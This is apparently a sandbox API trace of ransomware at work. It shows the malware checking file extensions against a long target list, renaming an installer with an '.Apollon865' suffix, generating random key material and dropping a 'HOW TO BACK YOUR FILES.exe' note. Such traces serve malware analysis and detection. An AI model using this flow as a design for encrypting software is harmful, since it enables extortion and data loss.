	[0063.742] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0063.742] lstrlenW (lpString="adf") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0063.742] lstrlenW (lpString="adn") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0063.742] lstrlenW (lpString="adp") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0063.742] lstrlenW (lpString="alf") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0063.742] lstrlenW (lpString="ask") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0063.742] lstrlenW (lpString="btr") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0063.742] lstrlenW (lpString="cat") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0063.742] lstrlenW (lpString="cdb") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0063.742] lstrlenW (lpString="ckp") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0063.742] lstrlenW (lpString="cma") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0063.742] lstrlenW (lpString="cpd") returned 3
	[0063.742] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0063.742] lstrlenW (lpString="dacpac") returned 6
	[0063.742] lstrcmpiW (lpString1="86.exe", lpString2="dacpac") returned -1
	[0063.742] lstrlenW (lpString="dad") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0063.743] lstrlenW (lpString="dadiagrams") returned 10
	[0063.743] lstrcmpiW (lpString1="st.x86.exe", lpString2="dadiagrams") returned 1
	[0063.743] lstrlenW (lpString="daschema") returned 8
	[0063.743] lstrcmpiW (lpString1=".x86.exe", lpString2="daschema") returned -1
	[0063.743] lstrlenW (lpString="db-journal") returned 10
	[0063.743] lstrcmpiW (lpString1="st.x86.exe", lpString2="db-journal") returned 1
	[0063.743] lstrlenW (lpString="db-shm") returned 6
	[0063.743] lstrcmpiW (lpString1="86.exe", lpString2="db-shm") returned -1
	[0063.743] lstrlenW (lpString="db-wal") returned 6
	[0063.743] lstrcmpiW (lpString1="86.exe", lpString2="db-wal") returned -1
	[0063.743] lstrlenW (lpString="dbc") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1
	[0063.743] lstrlenW (lpString="dbs") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1
	[0063.743] lstrlenW (lpString="dbt") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1
	[0063.743] lstrlenW (lpString="dbv") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1
	[0063.743] lstrlenW (lpString="dbx") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1
	[0063.743] lstrlenW (lpString="dcb") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1
	[0063.743] lstrlenW (lpString="dct") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1
	[0063.743] lstrlenW (lpString="dcx") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1
	[0063.743] lstrlenW (lpString="ddl") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1
	[0063.743] lstrlenW (lpString="dlis") returned 4
	[0063.743] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1
	[0063.743] lstrlenW (lpString="dp1") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1
	[0063.743] lstrlenW (lpString="dqy") returned 3
	[0063.743] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1
	[0063.744] lstrlenW (lpString="dsk") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1
	[0063.744] lstrlenW (lpString="dsn") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1
	[0063.744] lstrlenW (lpString="dtsx") returned 4
	[0063.744] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1
	[0063.744] lstrlenW (lpString="dxl") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1
	[0063.744] lstrlenW (lpString="eco") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1
	[0063.744] lstrlenW (lpString="ecx") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1
	[0063.744] lstrlenW (lpString="edb") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1
	[0063.744] lstrlenW (lpString="epim") returned 4
	[0063.744] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1
	[0063.744] lstrlenW (lpString="fcd") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1
	[0063.744] lstrlenW (lpString="fdb") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1
	[0063.744] lstrlenW (lpString="fic") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1
	[0063.744] lstrlenW (lpString="flexolibrary") returned 12
	[0063.744] lstrcmpiW (lpString1="dist.x86.exe", lpString2="flexolibrary") returned -1
	[0063.744] lstrlenW (lpString="fm5") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1
	[0063.744] lstrlenW (lpString="fmp") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1
	[0063.744] lstrlenW (lpString="fmp12") returned 5
	[0063.744] lstrcmpiW (lpString1="6.exe", lpString2="fmp12") returned -1
	[0063.744] lstrlenW (lpString="fmpsl") returned 5
	[0063.744] lstrcmpiW (lpString1="6.exe", lpString2="fmpsl") returned -1
	[0063.744] lstrlenW (lpString="fol") returned 3
	[0063.744] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1
	[0063.745] lstrlenW (lpString="fp3") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1
	[0063.745] lstrlenW (lpString="fp4") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1
	[0063.745] lstrlenW (lpString="fp5") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1
	[0063.745] lstrlenW (lpString="fp7") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1
	[0063.745] lstrlenW (lpString="fpt") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1
	[0063.745] lstrlenW (lpString="frm") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1
	[0063.745] lstrlenW (lpString="gdb") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0063.745] lstrlenW (lpString="gdb") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1
	[0063.745] lstrlenW (lpString="grdb") returned 4
	[0063.745] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1
	[0063.745] lstrlenW (lpString="gwi") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1
	[0063.745] lstrlenW (lpString="hdb") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1
	[0063.745] lstrlenW (lpString="his") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="his") returned -1
	[0063.745] lstrlenW (lpString="ib") returned 2
	[0063.745] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1
	[0063.745] lstrlenW (lpString="idb") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1
	[0063.745] lstrlenW (lpString="ihx") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1
	[0063.745] lstrlenW (lpString="itdb") returned 4
	[0063.745] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1
	[0063.745] lstrlenW (lpString="itw") returned 3
	[0063.745] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1
	[0063.745] lstrlenW (lpString="jet") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1
	[0063.746] lstrlenW (lpString="jtx") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1
	[0063.746] lstrlenW (lpString="kdb") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1
	[0063.746] lstrlenW (lpString="kexi") returned 4
	[0063.746] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1
	[0063.746] lstrlenW (lpString="kexic") returned 5
	[0063.746] lstrcmpiW (lpString1="6.exe", lpString2="kexic") returned -1
	[0063.746] lstrlenW (lpString="kexis") returned 5
	[0063.746] lstrcmpiW (lpString1="6.exe", lpString2="kexis") returned -1
	[0063.746] lstrlenW (lpString="lgc") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1
	[0063.746] lstrlenW (lpString="lwx") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1
	[0063.746] lstrlenW (lpString="maf") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1
	[0063.746] lstrlenW (lpString="maq") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1
	[0063.746] lstrlenW (lpString="mar") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1
	[0063.746] lstrlenW (lpString="marshal") returned 7
	[0063.746] lstrcmpiW (lpString1="x86.exe", lpString2="marshal") returned 1
	[0063.746] lstrlenW (lpString="mas") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1
	[0063.746] lstrlenW (lpString="mav") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1
	[0063.746] lstrlenW (lpString="maw") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1
	[0063.746] lstrlenW (lpString="mdbhtml") returned 7
	[0063.746] lstrcmpiW (lpString1="x86.exe", lpString2="mdbhtml") returned 1
	[0063.746] lstrlenW (lpString="mdn") returned 3
	[0063.746] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1
	[0063.746] lstrlenW (lpString="mdt") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1
	[0063.747] lstrlenW (lpString="mfd") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1
	[0063.747] lstrlenW (lpString="mpd") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1
	[0063.747] lstrlenW (lpString="mrg") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1
	[0063.747] lstrlenW (lpString="mud") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1
	[0063.747] lstrlenW (lpString="mwb") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1
	[0063.747] lstrlenW (lpString="myd") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1
	[0063.747] lstrlenW (lpString="ndf") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1
	[0063.747] lstrlenW (lpString="nnt") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1
	[0063.747] lstrlenW (lpString="nrmlib") returned 6
	[0063.747] lstrcmpiW (lpString1="86.exe", lpString2="nrmlib") returned -1
	[0063.747] lstrlenW (lpString="ns2") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1
	[0063.747] lstrlenW (lpString="ns3") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1
	[0063.747] lstrlenW (lpString="ns4") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1
	[0063.747] lstrlenW (lpString="nsf") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1
	[0063.747] lstrlenW (lpString="nv") returned 2
	[0063.747] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1
	[0063.747] lstrlenW (lpString="nv2") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1
	[0063.747] lstrlenW (lpString="nwdb") returned 4
	[0063.747] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1
	[0063.747] lstrlenW (lpString="nyf") returned 3
	[0063.747] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1
	[0063.748] lstrlenW (lpString="odb") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0063.748] lstrlenW (lpString="odb") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1
	[0063.748] lstrlenW (lpString="oqy") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1
	[0063.748] lstrlenW (lpString="ora") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1
	[0063.748] lstrlenW (lpString="orx") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1
	[0063.748] lstrlenW (lpString="owc") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1
	[0063.748] lstrlenW (lpString="p96") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1
	[0063.748] lstrlenW (lpString="p97") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1
	[0063.748] lstrlenW (lpString="pan") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1
	[0063.748] lstrlenW (lpString="pdb") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1
	[0063.748] lstrlenW (lpString="pdm") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1
	[0063.748] lstrlenW (lpString="pnz") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1
	[0063.748] lstrlenW (lpString="qry") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1
	[0063.748] lstrlenW (lpString="qvd") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1
	[0063.748] lstrlenW (lpString="rbf") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1
	[0063.748] lstrlenW (lpString="rctd") returned 4
	[0063.748] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1
	[0063.748] lstrlenW (lpString="rod") returned 3
	[0063.748] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1
	[0063.748] lstrlenW (lpString="rodx") returned 4
	[0063.748] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1
	[0063.749] lstrlenW (lpString="rpd") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1
	[0063.749] lstrlenW (lpString="rsd") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1
	[0063.749] lstrlenW (lpString="sas7bdat") returned 8
	[0063.749] lstrcmpiW (lpString1=".x86.exe", lpString2="sas7bdat") returned -1
	[0063.749] lstrlenW (lpString="sbf") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1
	[0063.749] lstrlenW (lpString="scx") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1
	[0063.749] lstrlenW (lpString="sdb") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1
	[0063.749] lstrlenW (lpString="sdc") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1
	[0063.749] lstrlenW (lpString="sdf") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1
	[0063.749] lstrlenW (lpString="sis") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1
	[0063.749] lstrlenW (lpString="spq") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1
	[0063.749] lstrlenW (lpString="te") returned 2
	[0063.749] lstrcmpiW (lpString1="xe", lpString2="te") returned 1
	[0063.749] lstrlenW (lpString="teacher") returned 7
	[0063.749] lstrcmpiW (lpString1="x86.exe", lpString2="teacher") returned 1
	[0063.749] lstrlenW (lpString="tmd") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1
	[0063.749] lstrlenW (lpString="tps") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1
	[0063.749] lstrlenW (lpString="trc") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0063.749] lstrlenW (lpString="trc") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1
	[0063.749] lstrlenW (lpString="trm") returned 3
	[0063.749] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1
	[0063.750] lstrlenW (lpString="udb") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1
	[0063.750] lstrlenW (lpString="udl") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1
	[0063.750] lstrlenW (lpString="usr") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1
	[0063.750] lstrlenW (lpString="v12") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1
	[0063.750] lstrlenW (lpString="vis") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1
	[0063.750] lstrlenW (lpString="vpd") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1
	[0063.750] lstrlenW (lpString="vvv") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1
	[0063.750] lstrlenW (lpString="wdb") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1
	[0063.750] lstrlenW (lpString="wmdb") returned 4
	[0063.750] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1
	[0063.750] lstrlenW (lpString="wrk") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1
	[0063.750] lstrlenW (lpString="xdb") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1
	[0063.750] lstrlenW (lpString="xld") returned 3
	[0063.750] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1
	[0063.750] lstrlenW (lpString="xmlff") returned 5
	[0063.750] lstrcmpiW (lpString1="6.exe", lpString2="xmlff") returned -1
	[0063.750] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.Apollon865") returned 100
	[0063.750] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.apollon865"), dwFlags=0x1) returned 1
	[0063.751] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0063.751] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=781872) returned 1
	[0063.751] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0063.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0063.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0063.752] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0063.752] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0063.752] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.753] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf130, lpName=0x0) returned 0x150
	[0063.754] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf130) returned 0x2b40000
	[0063.790] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0063.791] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0063.791] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0063.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0063.791] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0063.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0063.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0063.791] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0063.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0063.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0063.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0063.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0063.792] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0063.792] UnmapViewOfFile (lpBaseAddress=0x2b40000) returned 1
	[0063.799] CloseHandle (hObject=0x150) returned 1
	[0063.799] CloseHandle (hObject=0x118) returned 1
	[0063.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0063.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0063.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0063.803] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0
	[0063.803] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.803] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd90
	[0063.803] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0063.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a2b8 | out: hHeap=0x580000) returned 1
	[0063.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0063.803] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 71
	[0063.803] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}"
	[0063.803] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.803] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.804] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.804] GetLastError () returned 0x0
	[0063.804] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.804] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.804] CloseHandle (hObject=0x15c) returned 1
	[0063.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.804] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.804] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.804] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.804] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.804] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.814] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f3fd670, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3fd670, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.814] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.815] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.815] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.815] lstrcmpiW (lpString1="..", lpString2="..") returned 0
